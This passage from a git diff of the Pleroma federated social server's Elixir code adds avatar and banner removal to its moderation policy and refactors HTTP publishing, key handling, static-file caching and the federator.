	{:ok, object}
	end

	defp check_media_nsfw(_actor_info, object), do: {:ok, object}

	defp check_ftl_removal(%{host: actor_host} = _actor_info, object) do
	object =
	with true <-
	Enum.member?(
	Pleroma.Config.get([:mrf_simple, :federated_timeline_removal]),
	actor_host
	),
	user <- User.get_cached_by_ap_id(object["actor"]),
	- true <- "https://www.w3.org/ns/activitystreams#Public" in object["to"],
	- true <- user.follower_address in object["cc"] do
	+ true <- "https://www.w3.org/ns/activitystreams#Public" in object["to"] do
	to =
	List.delete(object["to"], "https://www.w3.org/ns/activitystreams#Public") ++
	[user.follower_address]

	cc =
	List.delete(object["cc"], user.follower_address) ++
	["https://www.w3.org/ns/activitystreams#Public"]

	object
	\|> Map.put("to", to)
	\|> Map.put("cc", cc)
	else
	_ -> object
	end

	{:ok, object}
	end

	defp check_report_removal(%{host: actor_host} = _actor_info, %{"type" => "Flag"} = object) do
	if actor_host in Pleroma.Config.get([:mrf_simple, :report_removal]) do
	{:reject, nil}
	else
	{:ok, object}
	end
	end

	defp check_report_removal(_actor_info, object), do: {:ok, object}

	+ defp check_avatar_removal(%{host: actor_host} = _actor_info, %{"icon" => _icon} = object) do
	+ if actor_host in Pleroma.Config.get([:mrf_simple, :avatar_removal]) do
	+ {:ok, Map.delete(object, "icon")}
	+ else
	+ {:ok, object}
	+ end
	+ end
	+
	+ defp check_avatar_removal(_actor_info, object), do: {:ok, object}
	+
	+ defp check_banner_removal(%{host: actor_host} = _actor_info, %{"image" => _image} = object) do
	+ if actor_host in Pleroma.Config.get([:mrf_simple, :banner_removal]) do
	+ {:ok, Map.delete(object, "image")}
	+ else
	+ {:ok, object}
	+ end
	+ end
	+
	+ defp check_banner_removal(_actor_info, object), do: {:ok, object}
	+
	@impl true
	- def filter(object) do
	- actor_info = URI.parse(object["actor"])
	+ def filter(%{"actor" => actor} = object) do
	+ actor_info = URI.parse(actor)

	with {:ok, object} <- check_accept(actor_info, object),
	{:ok, object} <- check_reject(actor_info, object),
	{:ok, object} <- check_media_removal(actor_info, object),
	{:ok, object} <- check_media_nsfw(actor_info, object),
	{:ok, object} <- check_ftl_removal(actor_info, object),
	{:ok, object} <- check_report_removal(actor_info, object) do
	{:ok, object}
	else
	_e -> {:reject, nil}
	end
	end
	+
	+ def filter(%{"id" => actor, "type" => obj_type} = object)
	+ when obj_type in ["Application", "Group", "Organization", "Person", "Service"] do
	+ actor_info = URI.parse(actor)
	+
	+ with {:ok, object} <- check_avatar_removal(actor_info, object),
	+ {:ok, object} <- check_banner_removal(actor_info, object) do
	+ {:ok, object}
	+ else
	+ _e -> {:reject, nil}
	+ end
	+ end
	+
	+ def filter(object), do: {:ok, object}
	end
	diff --git a/lib/pleroma/web/activity_pub/mrf/user_allowlist.ex b/lib/pleroma/web/activity_pub/mrf/user_allowlist.ex
	index f5078d818..47663414a 100644
	--- a/lib/pleroma/web/activity_pub/mrf/user_allowlist.ex
	+++ b/lib/pleroma/web/activity_pub/mrf/user_allowlist.ex
	@@ -1,28 +1,30 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.UserAllowListPolicy do
	alias Pleroma.Config

	@moduledoc "Accept-list of users from specified instances"
	@behaviour Pleroma.Web.ActivityPub.MRF

	defp filter_by_list(object, []), do: {:ok, object}

	defp filter_by_list(%{"actor" => actor} = object, allow_list) do
	if actor in allow_list do
	{:ok, object}
	else
	{:reject, nil}
	end
	end

	@impl true
	- def filter(object) do
	- actor_info = URI.parse(object["actor"])
	+ def filter(%{"actor" => actor} = object) do
	+ actor_info = URI.parse(actor)
	allow_list = Config.get([:mrf_user_allowlist, String.to_atom(actor_info.host)], [])

	filter_by_list(object, allow_list)
	end
	+
	+ def filter(object), do: {:ok, object}
	end
	diff --git a/lib/pleroma/web/activity_pub/publisher.ex b/lib/pleroma/web/activity_pub/publisher.ex
	index 11dba87de..8f1399ce6 100644
	--- a/lib/pleroma/web/activity_pub/publisher.ex
	+++ b/lib/pleroma/web/activity_pub/publisher.ex
	@@ -1,152 +1,151 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Publisher do
	alias Pleroma.Activity
	alias Pleroma.Config
	+ alias Pleroma.HTTP
	alias Pleroma.Instances
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.Web.ActivityPub.Transmogrifier

	import Pleroma.Web.ActivityPub.Visibility

	@behaviour Pleroma.Web.Federator.Publisher

	require Logger

	- @httpoison Application.get_env(:pleroma, :httpoison)
	-
	@moduledoc """
	ActivityPub outgoing federation module.
	"""

	@doc """
	Determine if an activity can be represented by running it through Transmogrifier.
	"""
	def is_representable?(%Activity{} = activity) do
	with {:ok, _data} <- Transmogrifier.prepare_outgoing(activity.data) do
	true
	else
	_e ->
	false
	end
	end

	@doc """
	Publish a single message to a peer. Takes a struct with the following
	parameters set:

	* `inbox`: the inbox to publish to
	* `json`: the JSON message body representing the ActivityPub message
	* `actor`: the actor which is signing the message
	* `id`: the ActivityStreams URI of the message
	"""
	def publish_one(%{inbox: inbox, json: json, actor: %User{} = actor, id: id} = params) do
	Logger.info("Federating #{id} to #{inbox}")
	host = URI.parse(inbox).host

	digest = "SHA-256=" <> (:crypto.hash(:sha256, json) \|> Base.encode64())

	date =
	NaiveDateTime.utc_now()
	\|> Timex.format!("{WDshort}, {0D} {Mshort} {YYYY} {h24}:{m}:{s} GMT")

	signature =
	Pleroma.Signature.sign(actor, %{
	host: host,
	"content-length": byte_size(json),
	digest: digest,
	date: date
	})

	with {:ok, %{status: code}} when code in 200..299 <-
	result =
	- @httpoison.post(
	+ HTTP.post(
	inbox,
	json,
	[
	{"Content-Type", "application/activity+json"},
	{"Date", date},
	{"signature", signature},
	{"digest", digest}
	]
	) do
	if !Map.has_key?(params, :unreachable_since) \|\| params[:unreachable_since],
	do: Instances.set_reachable(inbox)

	result
	else
	{_post_result, response} ->
	unless params[:unreachable_since], do: Instances.set_unreachable(inbox)
	{:error, response}
	end
	end

	defp should_federate?(inbox, public) do
	if public do
	true
	else
	inbox_info = URI.parse(inbox)
	!Enum.member?(Pleroma.Config.get([:instance, :quarantined_instances], []), inbox_info.host)
	end
	end

	@doc """
	Publishes an activity to all relevant peers.
	"""
	def publish(%User{} = actor, %Activity{} = activity) do
	remote_followers =
	if actor.follower_address in activity.recipients do
	{:ok, followers} = User.get_followers(actor)
	followers \|> Enum.filter(&(!&1.local))
	else
	[]
	end

	public = is_public?(activity)

	if public && Config.get([:instance, :allow_relay]) do
	Logger.info(fn -> "Relaying #{activity.data["id"]} out" end)
	Relay.publish(activity)
	end

	{:ok, data} = Transmogrifier.prepare_outgoing(activity.data)
	json = Jason.encode!(data)

	(Pleroma.Web.Salmon.remote_users(activity) ++ remote_followers)
	\|> Enum.filter(fn user -> User.ap_enabled?(user) end)
	\|> Enum.map(fn %{info: %{source_data: data}} ->
	(is_map(data["endpoints"]) && Map.get(data["endpoints"], "sharedInbox")) \|\| data["inbox"]
	end)
	\|> Enum.uniq()
	\|> Enum.filter(fn inbox -> should_federate?(inbox, public) end)
	\|> Instances.filter_reachable()
	\|> Enum.each(fn {inbox, unreachable_since} ->
	Pleroma.Web.Federator.Publisher.enqueue_one(
	__MODULE__,
	%{
	inbox: inbox,
	json: json,
	actor: actor,
	id: activity.data["id"],
	unreachable_since: unreachable_since
	}
	)
	end)
	end

	def gather_webfinger_links(%User{} = user) do
	[
	%{"rel" => "self", "type" => "application/activity+json", "href" => user.ap_id},
	%{
	"rel" => "self",
	"type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"",
	"href" => user.ap_id
	}
	]
	end

	def gather_nodeinfo_protocol_names, do: ["activitypub"]
	end
	diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex
	index 1254fdf6c..327e0e05b 100644
	--- a/lib/pleroma/web/activity_pub/views/user_view.ex
	+++ b/lib/pleroma/web/activity_pub/views/user_view.ex
	@@ -1,309 +1,308 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.UserView do
	use Pleroma.Web, :view

	+ alias Pleroma.Keys
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.Endpoint
	alias Pleroma.Web.Router.Helpers
	- alias Pleroma.Web.Salmon
	- alias Pleroma.Web.WebFinger

	import Ecto.Query

	def render("endpoints.json", %{user: %User{nickname: nil, local: true} = _user}) do
	%{"sharedInbox" => Helpers.activity_pub_url(Endpoint, :inbox)}
	end

	def render("endpoints.json", %{user: %User{local: true} = _user}) do
	%{
	"oauthAuthorizationEndpoint" => Helpers.o_auth_url(Endpoint, :authorize),
	"oauthRegistrationEndpoint" => Helpers.mastodon_api_url(Endpoint, :create_app),
	"oauthTokenEndpoint" => Helpers.o_auth_url(Endpoint, :token_exchange),
	"sharedInbox" => Helpers.activity_pub_url(Endpoint, :inbox)
	}
	end

	def render("endpoints.json", _), do: %{}

	# the instance itself is not a Person, but instead an Application
	def render("user.json", %{user: %{nickname: nil} = user}) do
	- {:ok, user} = WebFinger.ensure_keys_present(user)
	- {:ok, _, public_key} = Salmon.keys_from_pem(user.info.keys)
	+ {:ok, user} = User.ensure_keys_present(user)
	+ {:ok, _, public_key} = Keys.keys_from_pem(user.info.keys)
	public_key = :public_key.pem_entry_encode(:SubjectPublicKeyInfo, public_key)
	public_key = :public_key.pem_encode([public_key])

	endpoints = render("endpoints.json", %{user: user})

	%{
	"id" => user.ap_id,
	"type" => "Application",
	"following" => "#{user.ap_id}/following",
	"followers" => "#{user.ap_id}/followers",
	"inbox" => "#{user.ap_id}/inbox",
	"name" => "Pleroma",
	"summary" => "Virtual actor for Pleroma relay",
	"url" => user.ap_id,
	"manuallyApprovesFollowers" => false,
	"publicKey" => %{
	"id" => "#{user.ap_id}#main-key",
	"owner" => user.ap_id,
	"publicKeyPem" => public_key
	},
	"endpoints" => endpoints
	}
	\|> Map.merge(Utils.make_json_ld_header())
	end

	def render("user.json", %{user: user}) do
	- {:ok, user} = WebFinger.ensure_keys_present(user)
	- {:ok, _, public_key} = Salmon.keys_from_pem(user.info.keys)
	+ {:ok, user} = User.ensure_keys_present(user)
	+ {:ok, _, public_key} = Keys.keys_from_pem(user.info.keys)
	public_key = :public_key.pem_entry_encode(:SubjectPublicKeyInfo, public_key)
	public_key = :public_key.pem_encode([public_key])

	endpoints = render("endpoints.json", %{user: user})

	user_tags =
	user
	\|> Transmogrifier.add_emoji_tags()
	\|> Map.get("tag", [])

	%{
	"id" => user.ap_id,
	"type" => "Person",
	"following" => "#{user.ap_id}/following",
	"followers" => "#{user.ap_id}/followers",
	"inbox" => "#{user.ap_id}/inbox",
	"outbox" => "#{user.ap_id}/outbox",
	"preferredUsername" => user.nickname,
	"name" => user.name,
	"summary" => user.bio,
	"url" => user.ap_id,
	"manuallyApprovesFollowers" => user.info.locked,
	"publicKey" => %{
	"id" => "#{user.ap_id}#main-key",
	"owner" => user.ap_id,
	"publicKeyPem" => public_key
	},
	"endpoints" => endpoints,
	"tag" => (user.info.source_data["tag"] \|\| []) ++ user_tags
	}
	\|> Map.merge(maybe_make_image(&User.avatar_url/2, "icon", user))
	\|> Map.merge(maybe_make_image(&User.banner_url/2, "image", user))
	\|> Map.merge(Utils.make_json_ld_header())
	end

	def render("following.json", %{user: user, page: page}) do
	query = User.get_friends_query(user)
	query = from(user in query, select: [:ap_id])
	following = Repo.all(query)

	total =
	if !user.info.hide_follows do
	length(following)
	else
	0
	end

	collection(following, "#{user.ap_id}/following", page, !user.info.hide_follows, total)
	\|> Map.merge(Utils.make_json_ld_header())
	end

	def render("following.json", %{user: user}) do
	query = User.get_friends_query(user)
	query = from(user in query, select: [:ap_id])
	following = Repo.all(query)

	total =
	if !user.info.hide_follows do
	length(following)
	else
	0
	end

	%{
	"id" => "#{user.ap_id}/following",
	"type" => "OrderedCollection",
	"totalItems" => total,
	"first" => collection(following, "#{user.ap_id}/following", 1, !user.info.hide_follows)
	}
	\|> Map.merge(Utils.make_json_ld_header())
	end

	def render("followers.json", %{user: user, page: page}) do
	query = User.get_followers_query(user)
	query = from(user in query, select: [:ap_id])
	followers = Repo.all(query)

	total =
	if !user.info.hide_followers do
	length(followers)
	else
	0
	end

	collection(followers, "#{user.ap_id}/followers", page, !user.info.hide_followers, total)
	\|> Map.merge(Utils.make_json_ld_header())
	end

	def render("followers.json", %{user: user}) do
	query = User.get_followers_query(user)
	query = from(user in query, select: [:ap_id])
	followers = Repo.all(query)

	total =
	if !user.info.hide_followers do
	length(followers)
	else
	0
	end

	%{
	"id" => "#{user.ap_id}/followers",
	"type" => "OrderedCollection",
	"totalItems" => total,
	"first" =>
	collection(followers, "#{user.ap_id}/followers", 1, !user.info.hide_followers, total)
	}
	\|> Map.merge(Utils.make_json_ld_header())
	end

	def render("outbox.json", %{user: user, max_id: max_qid}) do
	params = %{
	"limit" => "10"
	}

	params =
	if max_qid != nil do
	Map.put(params, "max_id", max_qid)
	else
	params
	end

	activities = ActivityPub.fetch_user_activities(user, nil, params)

	{max_id, min_id, collection} =
	if length(activities) > 0 do
	{
	Enum.at(Enum.reverse(activities), 0).id,
	Enum.at(activities, 0).id,
	Enum.map(activities, fn act ->
	{:ok, data} = Transmogrifier.prepare_outgoing(act.data)
	data
	end)
	}
	else
	{
	0,
	0,
	[]
	}
	end

	iri = "#{user.ap_id}/outbox"

	page = %{
	"id" => "#{iri}?max_id=#{max_id}",
	"type" => "OrderedCollectionPage",
	"partOf" => iri,
	"orderedItems" => collection,
	"next" => "#{iri}?max_id=#{min_id}"
	}

	if max_qid == nil do
	%{
	"id" => iri,
	"type" => "OrderedCollection",
	"first" => page
	}
	\|> Map.merge(Utils.make_json_ld_header())
	else
	page \|> Map.merge(Utils.make_json_ld_header())
	end
	end

	def render("inbox.json", %{user: user, max_id: max_qid}) do
	params = %{
	"limit" => "10"
	}

	params =
	if max_qid != nil do
	Map.put(params, "max_id", max_qid)
	else
	params
	end

	activities = ActivityPub.fetch_activities([user.ap_id \| user.following], params)

	min_id = Enum.at(Enum.reverse(activities), 0).id
	max_id = Enum.at(activities, 0).id

	collection =
	Enum.map(activities, fn act ->
	{:ok, data} = Transmogrifier.prepare_outgoing(act.data)
	data
	end)

	iri = "#{user.ap_id}/inbox"

	page = %{
	"id" => "#{iri}?max_id=#{max_id}",
	"type" => "OrderedCollectionPage",
	"partOf" => iri,
	"orderedItems" => collection,
	"next" => "#{iri}?max_id=#{min_id}"
	}

	if max_qid == nil do
	%{
	"id" => iri,
	"type" => "OrderedCollection",
	"first" => page
	}
	\|> Map.merge(Utils.make_json_ld_header())
	else
	page \|> Map.merge(Utils.make_json_ld_header())
	end
	end

	def collection(collection, iri, page, show_items \\ true, total \\ nil) do
	offset = (page - 1) * 10
	items = Enum.slice(collection, offset, 10)
	items = Enum.map(items, fn user -> user.ap_id end)
	total = total \|\| length(collection)

	map = %{
	"id" => "#{iri}?page=#{page}",
	"type" => "OrderedCollectionPage",
	"partOf" => iri,
	"totalItems" => total,
	"orderedItems" => if(show_items, do: items, else: [])
	}

	if offset < total do
	Map.put(map, "next", "#{iri}?page=#{page + 1}")
	else
	map
	end
	end

	defp maybe_make_image(func, key, user) do
	if image = func.(user, no_default: true) do
	%{
	key => %{
	"type" => "Image",
	"url" => image
	}
	}
	else
	%{}
	end
	end
	end
	diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex
	index 9ef30e885..8cd7a2270 100644
	--- a/lib/pleroma/web/endpoint.ex
	+++ b/lib/pleroma/web/endpoint.ex
	@@ -1,122 +1,137 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Endpoint do
	use Phoenix.Endpoint, otp_app: :pleroma

	socket("/socket", Pleroma.Web.UserSocket)

	# Serve at "/" the static files from "priv/static" directory.
	#
	# You should set gzip to true if you are running phoenix.digest
	# when deploying your static files in production.
	plug(CORSPlug)
	plug(Pleroma.Plugs.HTTPSecurityPlug)

	plug(Pleroma.Plugs.UploadedMedia)

	+ @static_cache_control "public, no-cache"
	+
	# InstanceStatic needs to be before Plug.Static to be able to override shipped-static files
	# If you're adding new paths to `only:` you'll need to configure them in InstanceStatic as well
	- plug(Pleroma.Plugs.InstanceStatic, at: "/")
	+ # Cache-control headers are duplicated in case we turn off etags in the future
	+ plug(Pleroma.Plugs.InstanceStatic,
	+ at: "/",
	+ gzip: true,
	+ cache_control_for_etags: @static_cache_control,
	+ headers: %{
	+ "cache-control" => @static_cache_control
	+ }
	+ )

	plug(
	Plug.Static,
	at: "/",
	from: :pleroma,
	only:
	- ~w(index.html robots.txt static finmoji emoji packs sounds images instance sw.js sw-pleroma.js favicon.png schemas doc)
	+ ~w(index.html robots.txt static finmoji emoji packs sounds images instance sw.js sw-pleroma.js favicon.png schemas doc),
	# credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength
	+ gzip: true,
	+ cache_control_for_etags: @static_cache_control,
	+ headers: %{
	+ "cache-control" => @static_cache_control
	+ }
	)

	plug(Plug.Static.IndexHtml, at: "/pleroma/admin/")

	plug(Plug.Static,
	at: "/pleroma/admin/",
	from: {:pleroma, "priv/static/adminfe/"}
	)

	# Code reloading can be explicitly enabled under the
	# :code_reloader configuration of your endpoint.
	if code_reloading? do
	plug(Phoenix.CodeReloader)
	end

	plug(TrailingFormatPlug)
	plug(Plug.RequestId)
	plug(Plug.Logger)

	plug(
	Plug.Parsers,
	parsers: [:urlencoded, :multipart, :json],
	pass: ["/"],
	json_decoder: Jason,
	length: Application.get_env(:pleroma, :instance) \|> Keyword.get(:upload_limit),
	body_reader: {Pleroma.Web.Plugs.DigestPlug, :read_body, []}
	)

	plug(Plug.MethodOverride)
	plug(Plug.Head)

	secure_cookies = Pleroma.Config.get([__MODULE__, :secure_cookie_flag])

	cookie_name =
	if secure_cookies,
	do: "__Host-pleroma_key",
	else: "pleroma_key"

	extra =
	Pleroma.Config.get([__MODULE__, :extra_cookie_attrs])
	\|> Enum.join(";")

	# The session will be stored in the cookie and signed,
	# this means its contents can be read but not tampered with.
	# Set :encryption_salt if you would also like to encrypt it.
	plug(
	Plug.Session,
	store: :cookie,
	key: cookie_name,
	signing_salt: {Pleroma.Config, :get, [[__MODULE__, :signing_salt], "CqaoopA2"]},
	http_only: true,
	secure: secure_cookies,
	extra: extra
	)

	# Note: the plug and its configuration is compile-time this can't be upstreamed yet
	if proxies = Pleroma.Config.get([__MODULE__, :reverse_proxies]) do
	plug(RemoteIp, proxies: proxies)
	end

	defmodule Instrumenter do
	use Prometheus.PhoenixInstrumenter
	end

	defmodule PipelineInstrumenter do
	use Prometheus.PlugPipelineInstrumenter
	end

	defmodule MetricsExporter do
	use Prometheus.PlugExporter
	end

	plug(PipelineInstrumenter)
	plug(MetricsExporter)

	plug(Pleroma.Web.Router)

	@doc """
	Dynamically loads configuration from the system environment
	on startup.

	It receives the endpoint configuration from the config files
	and must return the updated configuration.
	"""
	def load_from_system_env(config) do
	port = System.get_env("PORT") \|\| raise "expected the PORT environment variable to be set"
	{:ok, Keyword.put(config, :http, [:inet6, port: port])}
	end

	def websocket_url do
	String.replace_leading(url(), "http", "ws")
	end
	end
	diff --git a/lib/pleroma/web/federator/federator.ex b/lib/pleroma/web/federator/federator.ex
	index 169fdf4dc..f4c9fe284 100644
	--- a/lib/pleroma/web/federator/federator.ex
	+++ b/lib/pleroma/web/federator/federator.ex
	@@ -1,152 +1,148 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Federator do
	alias Pleroma.Activity
	alias Pleroma.Object.Containment
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.Federator.Publisher
	alias Pleroma.Web.Federator.RetryQueue
	- alias Pleroma.Web.WebFinger
	+ alias Pleroma.Web.OStatus
	alias Pleroma.Web.Websub

	require Logger

	- @websub Application.get_env(:pleroma, :websub)
	- @ostatus Application.get_env(:pleroma, :ostatus)
	-
	def init do
	# 1 minute
	Process.sleep(1000 * 60)
	refresh_subscriptions()
	end

	# Client API

	def incoming_doc(doc) do
	PleromaJobQueue.enqueue(:federator_incoming, __MODULE__, [:incoming_doc, doc])
	end

	def incoming_ap_doc(params) do
	PleromaJobQueue.enqueue(:federator_incoming, __MODULE__, [:incoming_ap_doc, params])
	end

	def publish(activity, priority \\ 1) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:publish, activity], priority)
	end

	def verify_websub(websub) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:verify_websub, websub])
	end

	def request_subscription(sub) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:request_subscription, sub])
	end

	def refresh_subscriptions do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:refresh_subscriptions])
	end

	# Job Worker Callbacks

	def perform(:refresh_subscriptions) do
	Logger.debug("Federator running refresh subscriptions")
	Websub.refresh_subscriptions()

	spawn(fn ->
	# 6 hours
	Process.sleep(1000 * 60 * 60 * 6)
	refresh_subscriptions()
	end)
	end

	def perform(:request_subscription, websub) do
	Logger.debug("Refreshing #{websub.topic}")

	with {:ok, websub} <- Websub.request_subscription(websub) do
	Logger.debug("Successfully refreshed #{websub.topic}")
	else
	_e -> Logger.debug("Couldn't refresh #{websub.topic}")
	end
	end

	def perform(:publish, activity) do
	Logger.debug(fn -> "Running publish for #{activity.data["id"]}" end)

	- with actor when not is_nil(actor) <- User.get_cached_by_ap_id(activity.data["actor"]) do
	- {:ok, actor} = WebFinger.ensure_keys_present(actor)
	-
	+ with %User{} = actor <- User.get_cached_by_ap_id(activity.data["actor"]),
	+ {:ok, actor} <- User.ensure_keys_present(actor) do
	Publisher.publish(actor, activity)
	end
	end

	def perform(:verify_websub, websub) do
	Logger.debug(fn ->
	"Running WebSub verification for #{websub.id} (#{websub.topic}, #{websub.callback})"
	end)

	- @websub.verify(websub)
	+ Websub.verify(websub)
	end

	def perform(:incoming_doc, doc) do
	Logger.info("Got document, trying to parse")
	- @ostatus.handle_incoming(doc)
	+ OStatus.handle_incoming(doc)
	end

	def perform(:incoming_ap_doc, params) do
	Logger.info("Handling incoming AP activity")

	params = Utils.normalize_params(params)

	# NOTE: we use the actor ID to do the containment, this is fine because an
	# actor shouldn't be acting on objects outside their own AP server.
	with {:ok, _user} <- ap_enabled_actor(params["actor"]),
	nil <- Activity.normalize(params["id"]),
	:ok <- Containment.contain_origin_from_id(params["actor"], params),
	{:ok, activity} <- Transmogrifier.handle_incoming(params) do
	{:ok, activity}
	else
	%Activity{} ->
	Logger.info("Already had #{params["id"]}")
	:error

	_e ->
	# Just drop those for now
	Logger.info("Unhandled activity")
	Logger.info(Jason.encode!(params, pretty: true))
	:error
	end
	end

	def perform(
	:publish_single_websub,
	%{xml: _xml, topic: _topic, callback: _callback, secret: _secret} = params
	) do
	case Websub.publish_one(params) do
	{:ok, _} ->
	:ok

	{:error, _} ->
	RetryQueue.enqueue(params, Websub)
	end
	end

	def perform(type, _) do
	Logger.debug(fn -> "Unknown task: #{type}" end)
	{:error, "Don't know what to do with this"}
	end

	def ap_enabled_actor(id) do
	user = User.get_cached_by_ap_id(id)

	if User.ap_enabled?(user) do
	{:ok, user}
	else
	ActivityPub.make_user_from_ap_id(id)
	end
	end
	end
	diff --git a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
	index 1ec0f30a1..2110027c3 100644
	--- a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
	+++ b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
	@@ -1,1857 +1,1857 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
	use Pleroma.Web, :controller
	alias Ecto.Changeset
	alias Pleroma.Activity
	alias Pleroma.Bookmark
	alias Pleroma.Config
	alias Pleroma.Conversation.Participation
	alias Pleroma.Filter
	alias Pleroma.Formatter
	+ alias Pleroma.HTTP
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Object.Fetcher
	alias Pleroma.Pagination
	alias Pleroma.Repo
	alias Pleroma.ScheduledActivity
	alias Pleroma.Stats
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MastodonAPI.AppView
	alias Pleroma.Web.MastodonAPI.ConversationView
	alias Pleroma.Web.MastodonAPI.FilterView
	alias Pleroma.Web.MastodonAPI.ListView
	alias Pleroma.Web.MastodonAPI.MastodonAPI
	alias Pleroma.Web.MastodonAPI.MastodonView
	alias Pleroma.Web.MastodonAPI.NotificationView
	alias Pleroma.Web.MastodonAPI.ReportView
	alias Pleroma.Web.MastodonAPI.ScheduledActivityView
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.MediaProxy
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Scopes
	alias Pleroma.Web.OAuth.Token
	alias Pleroma.Web.TwitterAPI.TwitterAPI

	alias Pleroma.Web.ControllerHelper
	import Ecto.Query

	require Logger

	plug(
	Pleroma.Plugs.RateLimitPlug,
	%{
	max_requests: Config.get([:app_account_creation, :max_requests]),
	interval: Config.get([:app_account_creation, :interval])
	}
	when action in [:account_register]
	)

	- @httpoison Application.get_env(:pleroma, :httpoison)
	@local_mastodon_name "Mastodon-Local"

	action_fallback(:errors)

	def create_app(conn, params) do
	scopes = Scopes.fetch_scopes(params, ["read"])

	app_attrs =
	params
	\|> Map.drop(["scope", "scopes"])
	\|> Map.put("scopes", scopes)

	with cs <- App.register_changeset(%App{}, app_attrs),
	false <- cs.changes[:client_name] == @local_mastodon_name,
	{:ok, app} <- Repo.insert(cs) do
	conn
	\|> put_view(AppView)
	\|> render("show.json", %{app: app})
	end
	end

	defp add_if_present(
	map,
	params,
	params_field,
	map_field,
	value_function \\ fn x -> {:ok, x} end
	) do
	if Map.has_key?(params, params_field) do
	case value_function.(params[params_field]) do
	{:ok, new_value} -> Map.put(map, map_field, new_value)
	:error -> map
	end
	else
	map
	end
	end

	def update_credentials(%{assigns: %{user: user}} = conn, params) do
	original_user = user

	user_params =
	%{}
	\|> add_if_present(params, "display_name", :name)
	\|> add_if_present(params, "note", :bio, fn value -> {:ok, User.parse_bio(value, user)} end)
	\|> add_if_present(params, "avatar", :avatar, fn value ->
	with %Plug.Upload{} <- value,
	{:ok, object} <- ActivityPub.upload(value, type: :avatar) do
	{:ok, object.data}
	else
	_ -> :error
	end
	end)

	emojis_text = (user_params["display_name"] \|\| "") <> (user_params["note"] \|\| "")

	user_info_emojis =
	((user.info.emoji \|\| []) ++ Formatter.get_emoji_map(emojis_text))
	\|> Enum.dedup()

	info_params =
	[:no_rich_text, :locked, :hide_followers, :hide_follows, :hide_favorites, :show_role]
	\|> Enum.reduce(%{}, fn key, acc ->
	add_if_present(acc, params, to_string(key), key, fn value ->
	{:ok, ControllerHelper.truthy_param?(value)}
	end)
	end)
	\|> add_if_present(params, "default_scope", :default_scope)
	\|> add_if_present(params, "header", :banner, fn value ->
	with %Plug.Upload{} <- value,
	{:ok, object} <- ActivityPub.upload(value, type: :banner) do
	{:ok, object.data}
	else
	_ -> :error
	end
	end)
	\|> Map.put(:emoji, user_info_emojis)

	info_cng = User.Info.profile_update(user.info, info_params)

	with changeset <- User.update_changeset(user, user_params),
	changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
	{:ok, user} <- User.update_and_set_cache(changeset) do
	if original_user != user do
	CommonAPI.update(user)
	end

	json(conn, AccountView.render("account.json", %{user: user, for: user}))
	else
	_e ->
	conn
	\|> put_status(403)
	\|> json(%{error: "Invalid request"})
	end
	end

	def verify_credentials(%{assigns: %{user: user}} = conn, _) do
	account = AccountView.render("account.json", %{user: user, for: user})
	json(conn, account)
	end

	def verify_app_credentials(%{assigns: %{user: _user, token: token}} = conn, _) do
	with %Token{app: %App{} = app} <- Repo.preload(token, :app) do
	conn
	\|> put_view(AppView)
	\|> render("short.json", %{app: app})
	end
	end

	def user(%{assigns: %{user: for_user}} = conn, %{"id" => nickname_or_id}) do
	with %User{} = user <- User.get_cached_by_nickname_or_id(nickname_or_id),
	true <- User.auth_active?(user) \|\| user.id == for_user.id \|\| User.superuser?(for_user) do
	account = AccountView.render("account.json", %{user: user, for: for_user})
	json(conn, account)
	else
	_e ->
	conn
	\|> put_status(404)
	\|> json(%{error: "Can't find user"})
	end
	end

	@mastodon_api_level "2.7.2"

	def masto_instance(conn, _params) do
	instance = Config.get(:instance)

	response = %{
